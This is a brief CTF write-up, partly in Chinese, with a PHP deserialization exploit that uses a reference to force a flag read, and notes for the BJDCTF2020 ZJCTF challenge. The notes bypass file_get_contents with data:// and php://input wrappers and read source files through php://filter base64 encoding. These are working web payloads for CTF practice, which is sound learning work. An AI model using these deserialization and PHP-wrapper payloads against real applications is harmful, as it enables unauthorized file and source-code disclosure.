class BUU { public $correct = ""; public $input = ""; public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } } $a=new BUU(); $a->input=&$a->correct; echo serialize($a);
[BJDCTF2020]ZJCTF,不过如此
这道题分两步: 第一步:绕过file_get_contents() 伪协议
1 2 3 4 5 6 7
1.绕过file_get_contents()两种方法 (1)$text=data://text/plain,I have a dream 或者text=data://text//plain;base64,SSBoYXZlIGEgZHJlYW0= (2)$text=php://inut 然后post发送I have a dream 2.伪协议 file=php://filter/read=convert.base64-encode/resource=next.php base64解码得到源码